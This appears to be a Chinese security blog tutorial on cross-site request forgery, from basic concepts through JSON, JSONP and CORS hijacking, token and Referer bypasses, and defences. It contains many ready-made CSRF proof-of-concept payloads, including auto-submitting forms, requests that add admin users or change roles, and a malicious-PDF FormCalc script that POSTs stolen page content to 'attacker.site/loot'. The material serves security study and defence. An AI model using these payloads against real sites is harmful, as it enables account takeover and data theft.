注意:本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。。
[TOC]
CSRF是什么?
答:CSRF(Cross-site request forgery
)跨站请求伪造,也被称为 One Click Attack
或者Session Riding
,是一种广泛存在于网站中的安全漏洞缩写为CSRF/XSRF
。
CSRF则通过伪装来自受信任用户的请求来利用受信任的网站,与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性,但往往同XSS一同作案!
如何理解你可以这么理解CSRF攻击? “攻击者盗用了你的身份,以你的名义发送恶意请求”,CSRF是一种依赖web浏览器的、被混淆过的代理人攻击,往往涉及到个人隐私泄露以及财产安全。
在学习CSRF之前还是需要了解一些额外的信息: (1) JSONP跨域获取信息 同源策略,是浏览器安全的基石。但是有时开发中要求B站中获取A站的数据,不得不使用JSONP等方式进行跨域请求。 JSONP是通过GET请求跨域,因此一般情况下任何人都可以获取信息并把信息发给自己。 JSONP使用如下:
function addScriptTag(src) {
var script = document.createElement('script');
script.setAttribute("type","text/javascript");
script.src = src;
document.body.appendChild(script);
}
window.onload = function () {
addScriptTag('http://example.com/ip?callback=foo');
}
function foo(data) {
console.log('Your public IP address is: ' + data.phone);
};
JSONP最大特点就是简单适用,老式浏览器全部支持,服务器改造非常小。
但是这种跨同源策略的的行为也大大带来了风险不可滥用。因为这些数据别人也是可以获取的,最好不要用JSONP传递敏感的信息
。
描述:在讲解CSRF之前我们先来看一个小明和小红和面部解锁的故事
,就是小明去小红家玩耍,而玩了以后小红困了就去睡一觉这时小明只能找其他的东西玩,这时他看见了小红的手机但是解锁需要进行面部识别,它将其手机对着小红进行刷一下脸成功解锁,而此时小红还沉浸在睡梦里面什么都不知道;
而我们应该如何防护这一安全问题呢? 这时某家手机厂商发布了新的技术,这个技术就是当你解锁的时候验证手机的来源,比如是否能匹配你的手表或者戒指其他东西,来证明是你主动得解锁,也就是证明解锁的人是你,这样小明得利用就比较难了,但是也并不是没有办法,比如使用偷走小红的手表等等,此时手机厂商又推出了新的功能那就是用户的凭证,每一次都会进行凭证的验证,当每一次用户解锁手机的时候手表需要从服务端取回数据,然后再用手表中的作为凭证去做面容解锁,而且每一个数据只能使用一次。这样不能仅仅靠小明的那一双手能够越过的了,但是也不是没有办法,那么故事讲完了我们来分析一下各个事物在CSRF攻击中相当于什么东西吧~首先 小明攻击者小红受害者这里我们把小红的脸部也就是我们的cookie或者是一种识别我们用户的标识。手表这样用于验证也就是Referer 那么token就是服务端生成的数据了
官方术语说: 攻击能劫持终端用户在已登录的Web站点上执行本意操作,会自动携带同一域名下的cookie到服务器,简单的说攻击者透过盗用用户身份悄悄发送一个请求,或执行某些恶意操作,CSRF的过程非常隐秘受害人甚至无法察觉。
产生CSRF漏洞的原因大致有以下:
CSRF基础流程原理图:
WeiyiGeek.
简单的案例场景: 假如你登录了一个存在CSRF漏洞的网银A,只是进行查询余额操作.由于你已经登录,你的浏览器的操作都会被网银A的服务器信任,这时候有人发送给你一个网站B链接,内容介绍你很感兴趣,于是你点开了.然后你看完了内容,回过头来看自己的余额,发现钱都被转走了,下面就是一个流程图。
WeiyiGeek.
(1) 详细剖析CSRF案例场景
假设某个站点具有转账功能(并且你已经登录)利用的GET方式实现该功能的HTML表单如下:
银行网站A它以GET请求来完成银行转账的操作,如http://www.mybank.com/Transfe
危险网站B它里面有一段HTML的代码如下:
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
首先你登录了银行网站A,然后访问危险网站B,这时你会发现你的银行账户少了1000块.
为什么会这样呢?
答:原因是银行网站A违反了HTTP规范,使用GET请求更新资源。在访问危险网站B的之前,你已经登录了银行网站A,而B中的<img>
以GET的方式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏览器会带上你的银行网站A的Cookie发出Get请求,去获取资源http://www.mybank.com/Transfer.php?toBankId=11&money=1000
结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账操作)所以就立刻进行转账操作
CSRF POC 1:只要输入对应的账号和金额提交就能实现转账。
<form action="transfer.php" method="POST"> #以上CSRF能成功地原因,还有一个是因为开发人员滥用$_REQUEST方法,导致本来的POST操作可以用GET方式实现。
账号:<input type="text" name="toBankId"/></br>
金额:<input type="text" name="money"/></br>
<input type="submit" value="提交"/>
</form>
假设受害者点击含有恶意代码的链接,并浏览带有下面HTML代码的网页b.com域的网站:<img src="http://www.a.com.transfer.php?toBankId=99&money=1000" />
在这个CSRF的过程中,受害者是毫不知情的,莫名其妙发生了转账行为,CSRF的攻击最大的特点就是完全以用户的身份发起的很难防御
。
CSRF POC 2: 如果开发人员改用$_POST()方法来获取数据,那么要想成功执行CSRF需要加上Javascript代码(与XSS相结合)如下HTML:
#选择用 POST 方法但也能轻松的绕过,采用iframe里面form表单进行POST请求即可。
<form id="test" action="http://www.xxx.com.transfer.php" method="POST">
账号:<input type="text" name="toBankId"/></br>
金额:<input type="text" name="money"/></br>
<input type="submit" value="提交"/>
</form>
<script>document.getElementById("test").submit()</script>
WeiyiGeek.
描述:CSRF之所以能请求成功是由于用户登录过网站,并且浏览器在Cookie有效的时间里保存了用户的身份凭据,而不管你通过什么方式访问网站,都会带上这个网站的 Cookies ,从第三方来的访问自然也不能例外。
1)浏览器的Cookie的分类
两则的区别:
注意Tips:如果要跨域请求处于安全原因,某些浏览器会阻止Third-Party Cookie的传输。
比如:我们在A.com的domain中Cookie.php给浏览器写入两个Cookies一个临时一个本地。
<?php
header("Set-Cookie: cookieName=1234;");
header("Set-Cookie: cookieName=1234; expires=Thu,01-Jan-2030 00:00:00 GMT;",false);
echo "<p style='color:red'>This is A domain</p>";
?>
此时在B.com 域里面有一个 http://www.b.com/csrf-test.html
此页面构造了访问 www.a.com<iframe src="http://www.a.com"></iframe>
这时你会发现IE会禁止本地的Cookie而发送临时Cookie
,而我是用的火狐,则默认策略中允许发送第三方Cookies。
WeiyiGeek.
IE处于安全方面上的考虑,默认禁止了浏览器在<img>/<iframe>/<script>/<link>
等标签中发第三方Cookies
2)P3P头的副作用 (P3P只有IE支持!) 尽管有些CSRF实施起来不需要认证,不需要发送Cookies,但是大多数重要的操作都在上面认证之后,但是P3P头的介入变得复杂起来了。
<iframe>与<script>
等标签也将不再拦截第三方Cookies的发送。
比如:有a域或者b域,且在B域上面有个页面其中包含指向www.a.com的iframe; http://www.b.com/test.html的内容为
:
<iframe src="http://www.localhost.com/test.php">Test</iframe>
#a域 的test.php是-个对a.com域设置Cookie的页面,其内容为:
<?php
header("Set-Cookies: test=axis2; domain=.localhost; path = /");
?>
WeiyiGeek.火狐浏览器是没问题的
P3P 的策略只设计一次即可,之后每次请求都请教都会遵循此策略,而不需要重复设置,采用P3P策略重写test.php文本如下:
<?php
header("P3P:CP=CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUI INT DEM STA PRE COM NAV OTC NOI DSP COR");
header("Set-Cookies: test=axis2; expires=Sun, 23-Dec-2018 08:13:02 GMT;domain=.localhost; path = /");
?>
#//或者直接引用一个头 HTTP Headers
HTTP/1.1 200 OK
P3P: policyref="http://catalog.example.com/P3P/PolicyReferences.xml"
Content-Type: text/html
Content-Length: 7413
Server: CC-Galaxy/1.3.18
#//或者Link标签
<link rel="P3Pv1" href="http://catalog.example.com/P3P/PolicyReferences.xml">
#参考文档:https://www.w3.org/TR/P3P/#ref_file_example
WeiyiGeek.
P3P策略帮助 : https://www.w3.org/TR/P3P/#compact_policy_vocabulary
正因为P3P头目前在网站中广泛应用,因此CSRF防御中不能依赖与浏览器对第三方Cookie的拦截策略。
IE6/7中,Flash发送网络请求均可以带上本地Cookies,但是IE8起Flash发起的网络请求不在发送本地Cookies了
Flash中发起请求的方式:URLRequest、getURL、loadVars。
描述:CSRF的利用点找寻订单下单处 修改敏感信息处 删除信息处 绑定处 发送信息处
;
CSRF利用场景:
CSRF的最佳利用方式么? 答:电商用户新增默认收货地址、发微博、添加管理员等等,所有的敏感操作都可以是我们的攻击目标,发现的用户账号授权相关的操作、二维码登陆、绑定第三方账号等,这些功能有CSRF的话就直接被盗号了,也就是说所有的敏感操作都需要进行CSRF的防护。
(1)采用CSRF来POST提交后台用户注册 描述:有时候CSRF需要POST来进行请求,而JSONP只是支持GET所有这时可以采用AJAX请求,当然存在的CORS会更好的利用;
XHR = false;
var XHR = windows.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObeject('Microsoft.XMLHTTP');
var url="http://127.0.0.1/admin/add_user.asp";
var params="UserName=XSSUSER&password=123456&password1=123346&submit=%CC%E1";
XHR.open("POST",url,true);
XHR.setRequestHeader("Content-type","application-x-www-form-urlencoded"); //点是值得学习的是加入了setRequestHeader;
XHR.setRequestHeader("Content-length",params.length); //值得学习
XHR.setRequestHeader("Connection","close");
XHR.send(params);
XHR.onreadystatechange = function () {
if (XHR.readyState == 4 && XHR.status == 200) {
document.write(XHR.responseText);
console.log("添加成功!!");
}
}
(2)JSON采用CSRF进行攻击
描述: 在漏洞挖掘过程当中多少会碰到csrf攻击 基本的csrf攻击,用burp就可以直接生成poc来测试(包括通过xhr请求执行csrf) 但是碰到post传输的数据是json格式时,burp也无解这时候下面的tips也许会起点儿作用;
我们来假设一个场景:http://target.com
(无其他任何额外的csrf防御(token,验证refer)),只是对数据格式或者数据类型进行判断:
WeiyiGeek.
我们访问json_csrf.html::
WeiyiGeek.
2.服务器寻找json格式的数据并验证Content-type,是否为application / json
3.用flash和307重定向即可解决: 精心构造的flash文件:攻击者可以利用foo.example.com的Service Worker通过Flash读取CSRF-token
#Write Flash AS code
import flash.external.*;
import flash.net.*;
(function () {
var loader = new URLLoader(new URLRequest("https://www.amazon.com/Hacking-Art-Exploitation-Jon-Erickson/dp/1593271441/"));
loader.addEventListener("complete", loaderCompleted);
function loaderCompleted(event) {
ExternalInterface.call("alert", event.target.data.slice(189270,189335));
}
})();
#HTML页面嵌入
var url = "https://attacker.com/bad.swf";
onfetch = (e) => {
e.respondWith(fetch(url);
}
#js新特性
if ('serviceWorker' in navigator) {
// 4837-sw.txt is the previous file.
navigator.serviceWorker.register('4837-sw.txt').then(_=>location=1337);
}
4.带有307状态代码的PHP文件
5.跨域XML文件: https://github.com/sp1d3r/swf_json_csrf 将该项目下载后放在自己服务器的根目录下,访问:
http[s]://[youhost]/read.html?jsonData={"name":"P0rZ9","phone":"123"}&php_url=http[s]://[youhost]/test.php&endpoint=http://target.com
WeiyiGeek.
(3)读取CSRF漏洞类型-JSONP劫持
描述: JSONP(JSON with Padding)是数据格式JSON的一种“使用模式”
,可以让网页从别的网域要数据另一个解决这个问题的新方法是跨来源资源共享。它将引入一个函数那就是callback函数回调函数这里的解释可能看不懂,其实我们只需要把他理解成一个回调给我们的参数就好了,我们只需要有这个参数在去读取这个参数就可以进行jsonp的劫持了.
比如示例:劫持用户得一些个人信息
WeiyiGeek.
我们发现url上有一个参数是callback=aaa没错这里就是回调函数,我们就可以根据他来劫持jsonp的数据了那么我们就可以构造如下poc;
<script> function aaa(json) { alert(JSON.stringify(json)) } </script>
<script src="https://vip.xxxxx.com/ajax/list/memberPonits.do?callback=aaa "></script>
jsonp劫持思路
(4)读取CSRF漏洞类型-CORS劫持 描述:HTTP访问控制CORS是一种机制(具体的看我上面有关于CORS的文章),利用和jsonp的作用差不多,只不过是方式有所改变; 那么我们在这个漏洞中的关键点就是Orgin这个参数的传递了,有时候我们需要自己添加有时候他有而有时候他会通过某些参数传递以及浏览器自动获取; 举个例子: 需要采用PoC-CORS验证工具
WeiyiGeek.
挖掘思路:添加Ogrin头部信息看返回的数据里面有没有Access-Control-Allow-Orgin这个参数出现如果有尝试让他变成任意的url只要这样就可以进行cors劫持了。
描述:CSRF保护绕过我们在漏洞挖掘过程中不难看出,很多时候我们会遇到各种CSRF的防护机制,随便一个网站都有token或者其他的防护机制。
下面我们需要了解一下常见的防护方法:
CSRF-protections绕过方法:
CSRF-ByPass表说明:
WeiyiGeek.
1) Referrer源绕过 参考Wooyun: http://www.anquan.us/static/bugs/wooyun-2015-0164067.html
该漏洞挖掘流程和大体思路:发现发微博的功能点——尝试利用此功能点发微博——微博发表成功——尝试绕过Referer的限制
(重点:查看原本请求来源-进行测试绕过)——绕过referer验证编写Poc进行利用;
#接口
http://game.weibo.com/avatar/interface/shareAvatar
# 有检查referrer,但是可以用app.wcdn.cn.*.*类似的域名绕过。
<form action="http://game.weibo.com/avatar/interface/shareAvatar" method="post">
<input type="text" name="content" value="Hi, testing http://app.wcdn.cn.zhchbin.xyz/" />
<input type="text" name="image" value="" />
<script> document.forms[0].submit(); </script>
</form>
#浏览器登录微博后,点开这个链接:
http://app.wcdn.cn.zhchbin.xyz/
WeiyiGeek.
其他方法尝试从其他渠道获得CSRF token 描述:利用了Referer泄露获取CSRF token 再利用CSRF token进行CSRF攻击 参考示例:http://www.anquan.us/static/bugs/wooyun-2015-090935.html
常用的绕过方法:
https://baidu.weiyigeek.com
我们让baidu变成子域名这样就绕过了比较弱的正则了2)思路1:删除X-CSRFToken报头然后将POST请求改为GET
在浏览“https://www.pinterest.com”时,我注意到CSRF令牌是通过http报头“X-CSRFToken”传递的,所以为了验证我使用下面请求的CSRF令牌的实现,这个请求用于修改用户设置
#当POST请求转换为GET时,CSRF令牌没有得到验证
POST /_ngjs/resource/UserSettingsResource/update/ HTTP/1.1
Host: www.pinterest.com
Content-Type: application/x-www-form-urlencoded
X-CSRFToken: <CSRF Token> #删除X-CSRF
……..
<POST Parameters>
总结:利用POST和删除“X-CSRFToken”报头测试成功-构造PoC以GET请求来修改邮箱-成功CSRF攻击后利用修改后邮箱重置密码
参考案例:https://medium.com/Skylinearafat/a-very-useful-technique-to-bypass-the-csrf-protection-for-fun-and-profit-471af64da276 #修改了请求方式,并把POST的参数通过GET传入
参考案例:http://infosecflash.com/2019/01/05/how-i-could-have-taken-over-any-pinterest-account/
3) Use Bad PDF 描述:FormCalc的get()和post()方法允许过滤CSRF-token,其实就是我们的PDF被浏览器解析,因为插件的原因可以进行请求,我们上传恶意的PDF文件在目标网站这样可以绕过referer甚至CSRF token ,这个漏洞和去年(2018)阿里的Chrome支持的PDF跳转是类似的。
#我们只需要制作恶意的PDF文件,在里面插入我们的恶意代码:
<script contentType='application/x-formcalc'>
var content = GET("https://example.com/Settings.action");
Post("http://attacker.site/loot",content,"text/plain");
</script>
CSRF bypass的PPT思路:制作可利用的PDF文件->嵌入到csrf-pdf.html中
WeiyiGeek.
参考连接:https://speakerd.s3.amazonaws.com/presentations/05f698063d87416ba0ec312d0948799b/ZeroNights_2017.pdf
利用PDF插件绕过
POST /user/add/note HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com
Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081; #关键点
Connection: close
Content-Type: application/x-thrift #关键点
Content-Length: 43
�addNote � � r �
CSRF-thrift.html
<script>
var request = new XMLHttpRequest();
request.open('POST', 'https://example.com/add/note', true);
request.withCredentials = true; //利用CORS
request.setRequestHeader("Content-type", "text/plain");
var data = ['0x80','0x01','0x00','0x01','0x00','0x00','0x00','0x07','0x67','0x65','0x74','0x55',
'0x73','0x65','0x72','0x00','0x00','0x00', '0x00','0x0b','0x00','0x01','0x00','0x00','0x00','0x00','0x00'];
var bin = new Uint8Array(data.length);
for (var i = 0; i < data.length; i++) {
bin[i] = parseInt(data[i], 16);
}
request.send(bin);
</script>
PDF与旁路CRLF注入Referer来源
<script contentType='application/x-formcalc'>
Post("http://attacker.com:8888/redirect",
"{""action"":""add-user-email"",""Email"":""attacker@evil.com""}",
"application/json

Referer; http://example.com")
</script>
WeiyiGeek.
4) 旁路cookie注入绕过 描述:攻击者可以通过cookie注入绕过双重提交cookie保护 cookie注入的方法:
5) Content-Type绕过方法
描述:该类漏洞主要是利用的程序后端没有验证(Calidate)Content-Type
头;
攻击者只能通过HTML表单或XHR api 发送 “简单” 的内容类型:
* text/plain
* application/x-www-form-urlencoded
* multipart/form-data
利用方式:sendbeacon()调用,允许发送具有任意内容类型的POST请求
<script>
function jsonreq() {
var data = '{"action":"add-user-email","Email":"attacker@evil.com"}';
var blob = new Blob([data], {type : 'application/json;charset=utf-8'});
navigator.sendBeacon('https://example.com/home/rpc'
, blob );
}
jsonreq();
</script>
在业界目前防御 CSRF 攻击主要有几种策略:
1)验证码-二次确认
2)Referer校验
3)Anti CSRF Token校验 CSRF 为什么能够攻击成功? 答:其本质原因是重要操作的所有参数都是可以被攻击者猜到的,而攻击者可以伪造用户的请求,该请求中所有的用户验证信息都存在于Cookie中 解决方向:在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中,以HTTP请求参数的形式加入一个随机产生的 token交由服务端验证
http://host/path/delete?username=abcd&item=123&token=[random(seed)]
一次性token是比较常用的方式,每次用户请求返回后,下发一个token,在下次表单提交或者HTTP GET的方式请求敏感数据时都携带该Token,服务器端对token进行校验并刷新Token的值,重新下发。
Token的使用原则:
4)在 HTTP 头中自定义属性并验证+One-Time Tokens 所以关键数据操作的请求,最好使用POST请求,限制GET请求的数据,以Form表单或者AJax进行提交,可以避免Token泄露,使用ajax还可以采用校验X-Requested-With头。
下面有一种很好用的Token验证方法,在HTTP头中自定义属性并验证,如下:
#自定义HTTP头X-CSRF-Token。先把token放入meta:
<meta name="csrf-token" content="{{ csrf_token() }}">
#然后在全局Ajax中使用这种方式设置X-CSRF-Token请求头并提交:
$.ajaxSetup({ headers: { 'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')
}
});
每次Ajax请求则会自动加上自定义的HTTP头X-CSRF-Token。
5)建立日志系统 比如严格的日志系统,这个在企业防护CSRF中,算是事后防护了,能甄别一定的CSRF攻击。
6)用户个人习惯 用户可通过在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie(浏览器自带退出浏览器后清除缓存))
Chrome 浏览器 描述:可以在第三方网站访问时不带 Cookies ,也就是说 Cookies 只有本站能用,来自第三方的访问都不能使用。
使用方式:是在Set-Cookie 的时候加上一个属性 SameSite
它的值有两个:
个人学习心得总结:
CSRF漏洞为了扩大其危害程度常常与XSS漏洞相结合打组合拳来进行使用;
CSRF漏洞提交方式总结:
<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>
<img src="http://www.example.com/api/setusername?username=CSRFd">
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST"&>
<input name="username" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
<script>
document.getElementById("autosubmit").submit();
</script>
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.send('{"role":admin}');
</script>
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>
<!-- pdf Exp-->
<script contentType='application/x-formcalc'>
var content = GET("https://example.com/Settings.action");
Post("http://attacker.site/loot",content,"text/plain");
</script>
编写CSRF的Poc以及利用工具: